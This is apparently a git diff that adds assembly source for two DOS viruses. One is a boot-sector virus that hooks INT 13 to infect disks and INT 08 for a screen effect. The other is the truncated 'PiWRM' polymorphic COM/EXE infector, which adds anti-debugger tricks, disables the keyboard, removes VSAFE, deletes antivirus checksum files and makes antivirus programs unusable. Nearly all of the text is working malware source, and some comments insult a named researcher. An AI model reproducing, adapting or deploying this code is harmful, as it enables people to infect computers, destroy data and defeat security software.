+; + +BIOS_SEG SEGMENT at 0h + org 0020h +D0020 dw 0 +D0022 dw 0 +INTERR8 label far + org 004Ch +D004C dw 0 +D004E dw 0 + org 0413h +D0413 dw 0 +BIOS_SEG ends + + +BOOT_SEG SEGMENT at 7Ch + org 0 +BOOT_PROCESS label far +BOOT_SEG ends + + +DISK_ROM SEGMENT at 0C800h + org 256h +C800_SEG label far +DISK_ROM ends + + + + + +SEG0000 segment public para 'CODE' + assume CS:SEG0000, ds:SEG0000 + +;***********************************************************; +; - ; +; boot sector ; +;***********************************************************; +; 0000:7C00 07C0:0000 +; + ORG 7C00h + + JMP short L7C1E + +D7C02 db 90h + db 'IBM 3.1' + DB 0 + DB 2 +D7C0D DB 2 +D7C0E DW 1 + DB 2 + DB 70h + DB 0 +D7C13 DW 2D0h + DB 0FDh + DB 2 + DB 0 +D7C18 DW 9 ;Sector per track - SecPTrk +D7C1A DW 2 ;Side per track - SidPTrk +D7C1C DW 0 + +L7C1E: XOR AX,AX + MOV SS,AX + MOV SP,7C00h + MOV DS,AX + + assume ds:BIOS_SEG + MOV AX,Word Ptr D0413 ; BIOS MEMSIZE 2 + SUB AX,0002h + MOV Word Ptr D0413,AX + assume ds:SEG0000 + + MOV CL,06h + SHL AX,CL + SUB AX,07C0h + MOV ES,AX ;ES: 2 + MOV SI,7C00h + MOV DI,SI + MOV CX,0100h + REPZ MOVSW ; : + + db 08Eh,0C8h ;MOV CS,AX ; + ;CS:7C00 - + PUSH CS + POP DS + CALL L7C4A + +L7C4A: XOR AH,AH ;RESET INT 13 + INT 13h + AND Byte Ptr D7DF8,80h ; (A: - floppy + ; C: - hard + + + MOV BX,Word Ptr D7DF9 ; , - + PUSH CS ; + POP AX + SUB AX,0020h + MOV ES,AX ;adres = (CS - 20h):8000h + CALL L7C9D + + MOV BX,Word Ptr D7DF9 ; + INC BX ; ( BOOT) + MOV AX,0FFC0h ;adres = 0000:7C00 + MOV ES,AX + CALL L7C9D + + XOR AX,AX + MOV Byte Ptr D7DF7,AL ; - ( ) + MOV DS,AX + + assume ds:BIOS_SEG + MOV AX,Word Ptr D004C ; INT 13! + MOV BX,Word Ptr D004E + MOV Word Ptr D004C,offset NewINT13 + MOV Word Ptr D004E,CS + PUSH CS + POP DS + assume ds:SEG0000 + MOV Word Ptr D7D2A,AX ; INT 13 + MOV Word Ptr D7D2C,BX + + MOV DL,Byte Ptr D7DF8 ; BOOT + jmp BOOT_PROCESS ; BOOT process + + + +;================================================================; +; (L7C9D) (L7C98) ; +; ; +;----------------------------------------------------------------; +; BX - , ; +; ES:8000 - , ; +; ; +; D7DF8 - , ; +; ; +;================================================================; +L7C98: MOV AX,0301h + JMP short L7CA0 + +L7C9D: MOV AX,0201h +L7CA0: XCHG BX,AX + ADD AX,Word Ptr D7C1C + XOR DX,DX + + DIV Word Ptr D7C18 ; AX + INC DL ; (0-7..) Track, Side, Sector + MOV CH,DL ; CX, DX ( INT 13) + XOR DX,DX + DIV Word Ptr D7C1A + MOV CL,06h + SHL AH,CL + OR AH,CH + MOV CX,AX + XCHG CH,CL + MOV DH,DL + + MOV AX,BX +L7CC3: MOV DL,Byte Ptr D7DF8 ; (A:) + MOV BX,8000h + INT 13h + JNC L7CCF + POP AX ; , I/O err +L7CCF: RET + + + +;========================================================================; +; INT 13 ; +;========================================================================; +NewINT13: + PUSH DS ; + PUSH ES + PUSH AX + PUSH BX + PUSH CX + PUSH DX + + PUSH CS ; DS ES + POP DS + PUSH CS + POP ES + + TEST Byte Ptr D7DF7,01h ; 1 - , + JNE L7D23 ; . INT 13 + + CMP AH,02h ; ? + JNE L7D23 ;, INT 13 + + CMP Byte Ptr D7DF8,DL ; + MOV Byte Ptr D7DF8,DL ; + JNE L7D12 ; + + XOR AH,AH ; + INT 1Ah + TEST DH,7Fh ; 8000 low order part = 1? + JNE L7D03 ;, + TEST DL,0F0h ; 00F0 low order part = 1? + JNE L7D03 ;, + ;: TIMER .and. 80F0h == 0 + ; 1800 . = 30 . + + PUSH DX + call L7EB3 ; - + POP DX + +L7D03: MOV CX,DX ; + SUB DX,Word Ptr D7EB0 ; ( ) + MOV Word Ptr D7EB0,CX + SUB DX,+24h + JC L7D23 + +L7D12: OR Byte Ptr D7DF7,01h ; / + PUSH SI + PUSH DI + CALL L7D2E + POP DI + POP SI + AND Byte Ptr D7DF7,0FEh + +L7D23: POP DX ; + POP CX + POP BX + POP AX + POP ES + POP DS +D7D2A = $+1 +D7D2C = $+3 + jmp c800_SEG ; INT 13 + + + +;================================================================; +; ; +;================================================================; +L7D2E: MOV AX,0201h ; BOOT sector + MOV DH,00h ; BX = ?????????????????????? , ! + MOV CX,0001h + CALL L7CC3 + + TEST Byte Ptr D7DF8,80h ;HARD DISK? + JE L7D63 ; + + ;---- HARD DISK ----; + MOV SI,81BEh ; DOS partition + MOV CX,0004h +L7D46: CMP Byte Ptr [SI+04h],01h + JE L7D58 + CMP Byte Ptr [SI+04h],04h + JE L7D58 + ADD SI,+10h + LOOP L7D46 + RET ; DOS partition, + + ;---- DOS partition ----; +L7D58: MOV DX,Word Ptr [SI] + MOV CX,Word Ptr [SI+02h] + MOV AX,0201h + CALL L7CC3 ; BOOT sector DOS partition + + ;---- , BOOT sector ----; +L7D63: MOV SI,8002h + MOV DI,offset D7C02 + MOV CX,001Ch + REPZ MOVSB ; BPB BOOT sector + + CMP Word Ptr D8000+01FCh,1357h ; ? + JNE L7D8B ; + + CMP Byte Ptr D8000+01FBh,00h ; DS? + JNC L7D8A + + ;---- ----; ;---- ? ----; + MOV AX,Word Ptr D8000+01F5h ; ... + MOV Word Ptr D7DF5,AX + MOV SI,Word Ptr D8000+01F9h + jmp L7E92 + +L7D8A: RET + + + +;------------------- +; , +; +L7D8B: CMP Word Ptr D8000+000Bh,0200h ; + JNE L7D8A + CMP Byte Ptr D8000+000Dh,02h + JC L7D8A + MOV CX,Word Ptr D8000+000Eh + MOV AL,Byte Ptr D8000+0010h + CBW + MUL Word Ptr D8000+0016h + ADD CX,AX + MOV AX,0020h + MUL Word Ptr D8000+0011h + ADD AX,01FFh + MOV BX,0200h + DIV BX + ADD CX,AX + MOV Word Ptr D7DF5,CX + MOV AX,Word Ptr D7C13 + SUB AX,Word Ptr D7DF5 + MOV BL,Byte Ptr D7C0D + XOR DX,DX + XOR BH,BH + DIV BX + INC AX + MOV DI,AX + AND Byte Ptr D7DF7,0FBh + CMP AX,0FF0h + JBE L7DE0 + OR Byte Ptr D7DF7,04h +L7DE0: MOV SI,0001h + MOV BX,Word Ptr D7C0E + DEC BX + MOV Word Ptr D7DF3,BX + MOV Byte Ptr D7EB2,0FEh + JMP short L7E00 + +D7DF3 DW 1 +D7DF5 DW 000Ch +D7DF7 DB 1 ;-: + ; 0000 0001 - + ; 0000 0010 - INT 08 + ; 0000 0100 +D7DF8 DB 00 ;: 0 - A:, 1 - B:, ... +D7DF9 DW 274h ; , + + + DB 00 + + DW 1357h ; !!!!!!!! + + DW 0AA55h ; BOOT + + +;***********************************************************; +; - ; +; bad sector ; +;***********************************************************; +L7E00: INC Word Ptr D7DF3 + MOV BX,Word Ptr D7DF3 + ADD Byte Ptr D7EB2,02h + call L7C9D + JMP short L7E4B +L7E12: MOV AX,0003h + TEST Byte Ptr D7DF7,04h + JE L7E1D + INC AX +L7E1D: MUL SI + SHR AX,1 + SUB AH,Byte Ptr D7EB2 + MOV BX,AX + CMP BX,01FFh + JNC L7E00 + MOV DX,Word Ptr D8000[BX] + TEST Byte Ptr D7DF7,04h + JNE L7E45 + MOV CL,04h + TEST SI,0001h + JE L7E42 + SHR DX,CL +L7E42: AND DH,0Fh +L7E45: TEST DX,0FFFFh + JE L7E51 +L7E4B: INC SI + CMP SI,DI + JBE L7E12 + RET +L7E51: MOV DX,0FFF7h + TEST Byte Ptr D7DF7,04h + JNE L7E68 + AND DH,0Fh + MOV CL,04h + TEST SI,0001h + JE L7E68 + SHL DX,CL +L7E68: OR Word Ptr D8000[BX],DX + MOV BX,Word Ptr D7DF3 + call L7C98 + MOV AX,SI + SUB AX,0002h + + MOV BL,Byte Ptr D7C0D + XOR BH,BH + MUL BX + ADD AX,Word Ptr D7DF5 + MOV SI,AX + MOV BX,0000h + call L7C9D + + MOV BX,SI + INC BX + call L7C98 + +L7E92: MOV BX,SI + MOV Word Ptr D7DF9,SI + PUSH CS + POP AX + SUB AX,0020h + MOV ES,AX + call L7C98 + + PUSH CS + POP AX + SUB AX,0040h + MOV ES,AX + MOV BX,0000h + call L7C98 + RET + +D7EB0 DW 0EEF0h +D7EB2 DB 0 + + +;=======================================================; +; int 08, ; +;=======================================================; +L7EB3: TEST Byte Ptr D7DF7,02h + JNE L7EDE + OR Byte Ptr D7DF7,02h + + assume ds:BIOS_SEG + MOV AX,0000h ; INT 8 + MOV DS,AX + MOV AX,Word Ptr D0020 + MOV BX,Word Ptr D0022 + MOV Word Ptr D0020,offset NewINT08 + MOV Word Ptr D0022,CS + assume ds:SEG0000 + PUSH CS + POP DS + MOV Word Ptr D7FC9,AX ; INT 8 + MOV Word Ptr D7FCB,BX + +L7EDE: RET + + +;=====================================================================; +; int 08 ; +;=====================================================================; +NewINT08: + PUSH DS ; + PUSH AX + PUSH BX + PUSH CX + PUSH DX + + PUSH CS ; DS + POP DS + + MOV AH,0Fh ;Get current video mode + INT 10h + + MOV BL,AL + CMP BX,Word Ptr D7FD4 ;mode = mode + JE L7F27 ;, + + ;---- . ----; + MOV Word Ptr D7FD4,BX ; mode + DEC AH + MOV Byte Ptr D7FD6,AH ; char_per_line-1 + + MOV AH,01h + CMP BL,07h ;mode = text b/w MGA, EGA? + JNE L7F05 ; + DEC AH + +L7F05: CMP BL,04h ;mode = graphics? + JNC L7F0C ; + DEC AH + +L7F0C: MOV Byte Ptr D7FD3,AH + MOV Word Ptr D7FCF,0101h + MOV Word Ptr D7FD1,0101h + + MOV AH,03h ;Read cursor position and size + INT 10h + + PUSH DX ; + + MOV DX,Word Ptr D7FCF + JMP short L7F4A + + + ;---- (mode) ----; +L7F27: MOV AH,03h ;Read cursor position and size + INT 10h + + PUSH DX ; cursor pos & size + + MOV AH,02h ;Set cursor position + MOV DX,Word Ptr D7FCF + INT 10h + + MOV AX,Word Ptr D7FCD ; + CMP Byte Ptr D7FD3,01h ;mode = GRAPF? + JNE L7F41 ; + MOV AX,8307h + +L7F41: MOV BL,AH ;Write character & attribute + MOV CX,0001h + MOV AH,09h + INT 10h + + + + ;---- ----; +L7F4A: MOV CX,Word Ptr D7FD1 + + CMP DH,00h ;Up + JNE L7F58 + XOR CH,0FFh + INC CH + +L7F58: CMP DH,18h ;Down + JNE L7F62 + XOR CH,0FFh + INC CH + +L7F62: CMP DL,00h ;Left + JNE L7F6C + XOR CL,0FFh + INC CL + +L7F6C: CMP DL,Byte Ptr D7FD6 ;Right + JNE L7F77 + XOR CL,0FFh + INC CL + +L7F77: CMP CX,Word Ptr D7FD1 + JNE L7F94 + MOV AX,Word Ptr D7FCD + AND AL,07h + CMP AL,03h + JNE L7F8B + XOR CH,0FFh + INC CH +L7F8B: CMP AL,05h + JNE L7F94 + XOR CL,0FFh + INC CL + +L7F94: ADD DL,CL + ADD DH,CH + MOV Word Ptr D7FD1,CX + MOV Word Ptr D7FCF,DX + MOV AH,02h + INT 10h ;Set cursor position + + MOV AH,08h ;Read character & attribute + INT 10h + + MOV Word Ptr D7FCD,AX + MOV BL,AH + CMP Byte Ptr D7FD3,01h ;mode = GRAPH? + JNE L7FB6 ; + MOV BL,83h + +L7FB6: MOV CX,0001h ;Write character & attribute + MOV AX,0907h + INT 10h + + POP DX ;Restore cursor position + MOV AH,02h + INT 10h + + POP DX ; + POP CX + POP BX + POP AX + POP DS +D7FC9 = $+1 +D7FCB = $+3 + JMP INTERR8 ; INT 08 + +D7FCD DW 0 +D7FCF DW 0101h ; +D7FD1 DW 0101h +D7FD3 DB 0 ; 1 - mode = graph, b800 + ; 0 - mode = text, b800 + ;-1 - mode = 7, text b/w EGA,HGA + +D7FD4 DW 0FFFFh ; mode +D7FD6 DB 50h ; + + + DB 0B7h,0B7h,0B7h,0B6h,040h,040h,088h,0DEh + DB 0E6h,05Ah,0ACh,0D2h,0E4h,0EAh,0E6h,040h + DB 050h,0ECh,040h,064h,05Ch,060h,052h,040h + DB 040h,040h,040h,064h,062h,05Eh,062h,060h + DB 05Eh,070h,06Eh,040h,041h,0B7h,0B7h,0B7h + DB 0B6h + + +;************************************************************* +; +D8000 = $ + +SEG0000 ends + END diff --git a/p/PINWORM.ASM b/p/PINWORM.ASM new file mode 100755 index 0000000..9ce279d --- /dev/null +++ b/p/PINWORM.ASM @@ -0,0 +1,983 @@ +; +; ------ +; PiWRM v1.00 coded by irogen +; Original Varient +; ------ +; +; See enclosed NFO for more info.. +; +; The code should be sufficiently commented - and I even ran it thru a +; filter to make it look perty. +; +; compile like so: +; TASM /m pinworm +; Tlink pinworm +; --convert to COM-- +; + +cseg segment + assume cs: cseg, ds: cseg, es: cseg, ss: cseg + +; conditional compilation.. +SECOND_CRYPT equ 1 ; use second cryptor? +XTRA_SPACE equ 1 ; xtra space to prevent double cryptor? +INCLUDE_INT3 equ 1 ; include INT 3 in garbage code? + ; (slows the loop down alot) +KILL_AV equ 1 ; Kill AVs as executed? +KILL_CHKLIST equ 1 ; Kill MSAV/CPAV checksum filez? + + +; thingz to change.. +kill_date equ 19 ; day of the month to play with user +max_exe equ 4 ; max exe file size -high byte +msg_filez equ 17 ; number of filenames for our msg + +; polymorphic engine options.. +inc_buf_size equ 20 ; INC buf +enc_op_bsize equ 36 ; ENC buf +ptr_buf_size equ 36 ; PTR buf +cnt_buf_size equ 36 ; CNT&OP +dj_buf_size equ 36 ; DEC&JMP +loop_disp_size equ 20 ; loop buf range +;compile and change the below equate to the second byte of the JNZ operand +org_loop equ 8Dh ; original JNZ offset + + +signal equ 0FA01h ; AX=signal/INT 21h/installation chk +vsafe_word equ 5945h ; magic word for VSAFE/VWATCH API +enc_size equ offset first_crypt-offset encrypt +enc2_size equ offset code_start-offset first_crypt +real_start equ offset dj_buf+3 ; starting location of encryted code + + +org 0h ; hellacious EXE offset calcs if !0 +start: + +; Encryptor/Decryptor Location +; Each opcode has predefined ranges to move within - once the opcode is +; determined, it is placed at the decided location within the buffer. +; 0 bytes constant +; + encrypt: + ptr_buf db ptr_buf_size-3 dup (90h) + db 0BEh + dw real_start+100h + encryptor: + cnt_buf db cnt_buf_size-3 dup(90h) + db 0B8h ; AX:b8 + dw offset vend-offset dj_buf + enc_loop: + loop_disp db loop_disp_size dup(90h) + inc_buf db inc_buf_size dup(90h) + enc_op_buf db enc_op_bsize dup(90h) + misc_buf dw 9090h + word_inc db 90h + dj_buf db dj_buf_size-3 dup (90h) + dec ax + jnz enc_loop ; for orig. only + ret_byte db 090h ; C3h or a NOP equiv. +first_crypt: ; end of first cryptor + + +; Second encryptor +; Whose only purpose is to tear the shit out of debuggers. It obviously +; isn't invincible, but will at least keep the lamerz and ignorant morons +; like Patti Hoffman out of the code. +; +; Uses reverse direction word XOR encryption +; Uses the following techniques: +; JMP into middle of operand +; Replace word after CALL to kill stepping over call +; Kills INT 1 vector +; Disables Keyboard via Port 21h +; Reverse direction encryption prevents stepping past loop +; Uses SP as a crucial data register in some locations - if +; the debugger uses the program's stack, then it may very well +; phuck thingz up nicely. +; Uses Soft-Ice INT 3 API to lock it up if in memory. +; + sti ; fix CLI in garbage code + db 0BDh ; MOV BP,XXXX +bp_calc dw 0100h + push ds es ; save segment registers for EXE +IF SECOND_CRYPT + push ds +dbg1: jmp mov_si ; 1 + db 0BEh ; MOV SI,XXXX +mov_si: db 0BEh ; MOV SI,XXXX +rel2_off dw offset heap+1000h ; org copy: ptr way out there + call shit +add_bp: int 19h ; fuck 'em if they skipped + jmp in_op ; 1 + db 0BAh ; MOV DX,XXXX +in_op: in al,21h + push ax + or al,02 + jmp kill_keyb ; 1 + db 0C6h +kill_keyb: out 21h,al ; keyboard=off + call shit6 +past_shit: jmp dbl_crypt +shit7: + xor ax,ax ;null es + mov es,ax + mov bx,word ptr es: [06] ;get INT 1 + ret +shit: + mov word ptr cs: add_bp[bp],0F503h ;ADD SI,BP + mov word ptr cs: dec_si[bp],05C17h ;reset our shit sister + ret +shit2: + mov word ptr cs: dec_si[bp],4E4Eh + mov word ptr cs: add_bp[bp],19CDh ;reset our shit brother + call shit3 + jnc code_start ;did they skip shit3? + xor dx,cx + ret + db 0EAh ;JMP FAR X:X +shit4: + db 0BAh ;MOV DX,XXXX +sec_enc dw 0 + mov di,4A4Dh ;prepare for Soft-ice + ret +shit3: + mov ax,911h ;soft-ice - execute command + call shit4 + stc + dec word ptr es: [06] ;2-kill INT 1 vector + push si + mov si,4647h ;soft-ice + int 3 ;call SI execute - DS:DX-garbage + pop si + ret + +shit6: mov byte ptr cs: past_shit[bp],0EBh + out 21h,al ; try turning keyboard off again + ret + +dbl_crypt: ; main portion of cryptor + mov cx,(offset heap-offset ret2_byte)/2+1 + call shit7 +dbl_loop: + jmp $+3 ; 1 + db 034h ; XOR ... + call shit3 ; nested is the set DX + xchg sp,dx ; xchg SP and DX + jmp xor_op ; 1 + db 0EAh ; JMP FAR X:X +xor_op: xor word ptr cs: [si],sp ; the real XOR baby.. + xchg sp,dx ; restore SP + call shit2 +dec_si: pop ss ; fuck 'em if they skipped shit2 + pop sp + int 3 + xchg sp,bx ; SP=word of old int 1 vec + dec cx + mov es: [06],sp ; restore int 1 vector + xchg sp,bx ; restore SP + jnz dbl_loop +ret2_byte db 90h,90h + +; Start of another artificial lifeform + +ENDIF +code_start: +IF SECOND_CRYPT + pop ax es ; Get port reg bits (ES=PSP) + out 21h,al ; restore keyboard +ENDIF + + mov cs: activate[bp],0 ; reset activation toggle + mov cs: mem_word[bp],0 ; reset mem. encryption + + inc si ; SI!=0 + mov dx,vsafe_word ; remove VSAFE/VWATCH from memory + mov ax,0FA01h ; & check for residency of virus too + int 21h + or si,si ; if SI=0 then it's us + jz no_install + + mov ah,2ah ; get date + int 21h + cmp dl,kill_date ; is it time to activate? + jnz not_time + mov cs: activate[bp],1 + +not_time: + + mov ax,es ; PSP segment - popped from DS + dec ax ; mcb below PSP m0n + mov ds,ax ; DS=MCB seg + cmp byte ptr ds: [0],'Z' ; Is this the last MCB in chain? + jnz no_install + sub word ptr ds: [3],(((vend-start+1023)*2)/1024)*64 ; alloc MCB + sub word ptr ds: [12h],(((vend-start+1023)*2)/1024)*64 ; alloc PSP + mov es,word ptr ds: [12h] ; get high mem seg + push cs + pop ds + mov si,bp + mov cx,(offset vend - offset start)/2+1 + xor di,di + rep movsw ; copy code to new seg + xor ax,ax + mov ds,ax ; null ds + push ds + lds ax,ds: [21h*4] ; get 21h vector + mov es: word ptr old21+2,ds ; save S:O + mov es: word ptr old21,ax + pop ds + mov ds: [21h*4+2],es ; new int 21h seg + mov ds: [21h*4],offset new21 ; new offset + + call get_random + cmp dl,5 + jle no_install + sub byte ptr ds: [413h],((offset vend-offset start+1023)*2)/1024 ;-totalmem + +no_install: + + xor si,si ; null regs.. + xor di,di ; some progs actually care.. + xor ax,ax + xor bx,bx + xor dx,dx + + pop es ds ; restore ES DS + cmp cs: exe_phile[bp],1 + jz exe_return + + lea si,org_bytes[bp] ; com return + mov di,0100h ; -restore first 4 bytes + movsw + movsw + + mov ax,100h ; jump back to 100h + push ax +_ret: ret + +exe_return: + mov cx,ds ; calc. real CS + add cx,10h + add word ptr cs: [exe_jump+2+bp],cx + int 3 ; fix prefetch + cli + mov sp,cs: oldsp[bp] ; restore old SP.. + sti + db 0eah +exe_jump dd 0 +oldsp dw 0 +exe_phile db 0 + +; +; Infection routine - called from INT 21h handler. +; DS:DX=fname +; Assumes EXE if first byte is 'M' or 'Z' +; Changes/Restores attribute and time/date +; +; If philename ends in 'AV', 'AN', or 'OT' it's not infected and has it's +; minimum req. memory in the header (0Ah) changed to FFFFh, thus making it +; unusable. +; +infect_file: + + mov di,dx ; move filename ptr into an index reg + + push ds ; search for end of filename(NULL) + pop es + xor ax,ax + mov cx,128 + repnz scasb + + cmp word ptr [di-3],'EX' ;.eXE? + jz is_exec +chk_com: cmp word ptr [di-3],'MO' ;.cOM? + jnz _ret +is_exec: +IF KILL_AV + mov cs: isav,0 + cmp word ptr [di-7],'VA' ;*AV.*? CPAV,MSAV,TBAV,TNTAV + jz anti_action + cmp word ptr [di-7],'TO' ;*OT.*? F-PROT + jz anti_action + cmp word ptr [di-7],'NA' ;*AN.*? + jnz name_ok + cmp word ptr [di-9],'CS' ;*SCAN.*? + jnz name_ok +anti_action: + inc cs: isav ; set mark for anti-virus kill +name_ok: +ENDIF + push ds ; save fname ptr segment + mov es,ax ; NULL ES (ax already 0) + lds ax,es: [24h*4] ; get INT 24h vector + mov old_24_off,ax ; save it + mov old_24_seg,ds + mov es: [24h*4+2],cs ; install our handler + mov es: [24h*4],offset new_24 + pop ds ; restore fname ptr segment + push es + push cs ; push ES for restoring INT24h later + pop es ; ES=CS + + mov ax,4300h ; get phile attribute + int 21h + mov ax,4301h ; null attribs 4301h + push ax cx ds dx ; save AX-call/CX-attrib/DX:DS + xor cx,cx ; zero all + int 21h + + mov bx,signal + mov ax,3d02h ; open the file + int 21h + jc close ; if error..quit infection + + xchg bx,ax ; get handle + + push cs ; DS=CS + pop ds + +IF KILL_CHKLIST + call kill_chklst ; kill CHKLIST.MS & .CPS filez +ENDIF + mov ax,5700h ; get file time/date + int 21h + push cx dx ; save 'em for later + + mov ah,3fh ; Read first bytes of file + mov cx,18h ; EXE header or just first bytes of COM + lea dx,org_bytes ; buffer used for both + int 21h + + call offset_end ; set ptr to end- DXAX=file_size + + cmp byte ptr org_bytes,'M' ; EXE? + jz do_exe + cmp byte ptr org_bytes,'Z' ; EXE? + jz do_exe + cmp byte ptr org_bytes+3,0 ; CoM infected? + jz d_time + + dec exe_phile + + push ax ; save file size + add ax,100h ; PSP in com + mov rel_off,ax ; save it for decryptor + mov bp_calc,ax + + call encrypt_code ; copy and encrypt code + + lea dx,vend ; start of newly created code + mov cx,offset heap+0FFh ; virus length+xtra + add cl,size_disp ; add random ^in case cl exceeds FF + mov ah,40h + int 21h ; append virus to infected file + + call offset_zero ; position ptr to beginning of file + + pop ax ; restore COM file size + sub ax,3 ; calculate jmp offset + mov word ptr new_jmp+1,ax ; save it.. + + lea dx,new_jmp ; write the new jmp (E9XXXX,0) + mov cx,4 ; total of 4 bytes + mov ah,40h + int 21h + +d_time: + + pop dx cx ; pop date/time + mov ax,5701h ; restore the mother fuckers + int 21h + +close: + + mov ah,3eh ; close phile + int 21h + + pop dx ds cx ax ; restore attrib + int 21h + +dont_do: + pop es ; ES=0 + lds ax,dword ptr old_24_off ; restore shitty DOS error handler + mov es: [24h*4],ax + mov es: [24h*4+2],ds + + ret ; return back to INT 21h handler + +do_exe: + cmp dx,max_exe + jg d_time + + mov exe_phile,1 + +IF KILL_AV + cmp isav,1 ; anti-virus software? + jnz not_av + mov word ptr exe_header[0ah],0FFFFh ; change min. mem to FFFFh + jmp write_hdr +not_av: +ENDIF + cmp word ptr exe_header[12h],0 ; checksum 0? + jnz d_time + + mov cx,mem_word ; get random word + inc cx ; make sure !0 + mov word ptr exe_header[12h],cx ; set checksum to!0 + mov cx,word ptr exe_header[10h] ; get old SP + mov oldsp,cx ; save it.. + mov word ptr exe_header[10h],0 ; write new SP of 0 + + les cx,dword ptr exe_header[14h] ; Save old entry point + mov word ptr exe_jump, cx ; off + mov word ptr exe_jump[2], es ; seg + + push cs ; ES=CS + pop es + + push dx ax ; save file size DX:AX + cmp byte ptr exe_header[18h],52h ; PKLITE'd? (v1.13+) + jz pklited + cmp byte ptr exe_header[18h],40h ; 40+ = new format EXE + jge d_time + pklited: + + mov bp, word ptr exe_header+8h ; calc. new entry point + mov cl,4 ; *10h + shl bp,cl ; ^by shifting one byte + sub ax,bp ; get actual file size-header + sbb dx,0 + mov cx,10h ; divide me baby + div cx + + mov word ptr exe_header+14h,dx ; save new entry point + mov word ptr exe_header+16h,ax + mov rel_off,dx ; save it for encryptor + mov bp_calc,dx + + call encrypt_code ; encrypt & copy the code + + mov cx,offset heap+0FFh ; virus size+xtra + add cl,size_disp ; add random ^in case cl exceeds FFh + lea dx,vend ; new copy in heap + mov ah,40h ; write the damn thing + int 21h + + pop ax dx ; AX:DX file size + + mov cx,(offset heap-offset start)+0FFh ; if xceeds ff below + add cl,size_disp + adc ax,cx + + mov cl,9 ; calc new alloc (512) + push ax + shr ax,cl + ror dx,cl + stc + adc dx,ax + pop ax + and ah,1 + + mov word ptr exe_header+4h,dx ; save new mem. alloc info + mov word ptr exe_header+2h,ax + +write_hdr: + call offset_zero ; position ptr to beginning + + mov cx,18h ; write fiXed header + lea dx,exe_header + mov ah,40h + int 21h + + jmp d_time ; restore shit/return + + +; +; Kill CHKLIST.* filez by nulling attribs, then deleting +; phile. +; + +kill_chklst: + mov di,2 ; counter for loop + lea dx,chkl1 ; first fname to kill +kill_loop: + mov ax,4301h ; reset attribs + xor cx,cx + int 21h + mov ah,41h ; delete phile + int 21h + lea dx,chkl2 ; second fname to kill + dec di + jnz kill_loop + + ret + +; +; set file ptr + +offset_zero: ; self explanitory + xor al,al + jmp set_fp +offset_end: + mov al,02h +set_fp: + mov ah,42h + xor cx,cx + xor dx,dx + int 21h + ret + +;--- +; Morph, copy, & crypt +; +; 0 bytes constant +; 0 operands in constant locations +; +; ms: +; bit 7 +; 6 +; 5 +; 4 - INCREMENT COUNTER OP +; 3 - +; 2 - INCREMENT ENCRYPTOR OP +; 1 - ADD&SUB|XOR +; 0 - WORD|BYTE +; IF<20-SELECTION BETWEEN JNZ AND JNS +; IF<5-DON'T WRITE ENCRYPTION OPS! +; sec: +; IF<=5-use constant NOP instead of random +; +encrypt_code: + + push bx ; save the handle + +; Fill buffer space with garbage bytes + + lea di,encrypt ; fill buffer /w it + mov bp,enc_size+1 + call fill_buffer + +; Randomly select between jmp type : JNZ or JNS + + call get_random + mov enc_num,dl ; store ms count for encryption + mov mem_word,dx ; mem cryption too + mov size_disp,dl ; and size displacment + + cmp dl,20h + jl jmp_2 + mov byte ptr jnz_op,75h ; use jnz + jmp jmp_set + jmp_2: + mov byte ptr jnz_op,79h ; jns + jmp_set: + +; Change jump address + + cmp byte ptr jnz_op+1,org_loop+loop_disp_size ; JNX on max offset? + jnz inc_jmp_ofs ; if not then inc the ptr + mov byte ptr jnz_op+1,org_loop ; jump to pos X in buffer + inc_jmp_ofs: + inc byte ptr jnz_op+1 ; increment jmp into buffer + +; Change encryption type randomly between XOR and ADD&SUB + + mov al,04 ; default to encrypting ADD + mov enc_type,2Ch ; and decrypting SUB + test dl,00000010b ; that bit =1? + jz use_add_sub + mov al,34h ; encrypting XOR + mov enc_type,34h ; decrypting XOR + use_add_sub: + +; Change register used for the counter + + cmp byte ptr count_op,0BBh ; skip SP/BP/DI/SI + jnz get_reg + mov byte ptr count_op,0B7h ; AX-1 + mov byte ptr dec_op,47h ; AX-1 + get_reg: + inc byte ptr count_op ; increment to next OP + inc byte ptr dec_op ; "" + +; Change position of INC XX + + mov di,inc_ptr ; get new off for INC XX + cmp di,inc_buf_size ; max position? + jl good_inc ; if not..then continue + mov inc_ptr,0 ; use offset 1 next run + xor di,di ; use offset 0 this run + good_inc: + inc inc_ptr ; increment the ptr for next + +; Toggle between SI and DI + + cmp byte ptr ptr_set,0BEh ; using SI? + jz chg_di ; if so, then switch to DI + mov byte ptr inc_buf[di],46h ; write INC SI + dec byte ptr ptr_set ; decrement to SI + jmp done_chg_ptr + chg_di: + mov byte ptr inc_buf[di],47h ; write INC DI + inc byte ptr ptr_set ; increment to DI + inc byte ptr enc_type ; increment decryptor + inc ax ; increment encryptor + done_chg_ptr: + +; Select word or byte encryption + + mov w_b,80h ; default to byte cryption + test dl,00000001b ; use word? + jz use_byte + mov w_b,81h ; now using word en/decryptor + mov ch,byte ptr inc_buf[di] ; get INC op + mov byte ptr word_inc,ch ; write another one + use_byte: + +; Increment counter value + + cmp byte ptr crypt_bytes,0Fh ; byte count quite large? + jnz inc_cnt ; if not..increment away + mov crypt_bytes,offset vend ; else..reset byte count + inc_cnt: + inc crypt_bytes ; increment byte count + + +; Set DEC XX /JNS|JNZ operands + + mov di,dec_op_ptr + cmp di,dj_buf_size-2 + jl good_dec_op + mov dec_op_ptr,0 + xor di,di + good_dec_op: + inc dec_op_ptr + no_inc_dec_op: + add di,offset dj_buf + lea si,dec_op + movsw + movsb + inc di ;word align + add rel_off,di ;chg offset for decryption + push di ;save offset after jmp + +; Set MOV DI,XXXX|MOV SI,XXXX + + mov di,ptr_op_ptr + cmp di,ptr_buf_size-3 + jl good_ptr_op + mov ptr_op_ptr,0 + xor di,di + good_ptr_op: + test dl,00001000b + jz no_inc_ptr_op + inc ptr_op_ptr + no_inc_ptr_op: + add di,offset ptr_buf + lea si,ptr_set + movsw + movsb + +; Set MOV AX|BX|DX|CX,XXXX + + mov di,count_op_ptr + cmp di,cnt_buf_size-3 + jl good_count_op + mov count_op_ptr,0 + xor di,di + good_count_op: + test dl,00010000b + jz no_inc_count_op + inc count_op_ptr + no_inc_count_op: + add di,offset cnt_buf + lea si,count_op + movsw + movsb + +; Set XOR|ADD&SUB WORD|BYTE CS:|DS:[SI|DI],XX|XXXX + + mov di,enc_op_ptr + cmp di,enc_op_bsize-5 + jl good_enc_ptr + mov enc_op_ptr,0 + xor di,di + good_enc_ptr: + test dl,00000100b + jz no_inc_enc_ptr + inc enc_op_ptr + no_inc_enc_ptr: + add di,offset enc_op_buf + mov bx,di ; BX points to encrytor pos. + lea si,seg_op + movsw + movsw + +; FiX second cryptor offset + +IF SECOND_CRYPT + mov 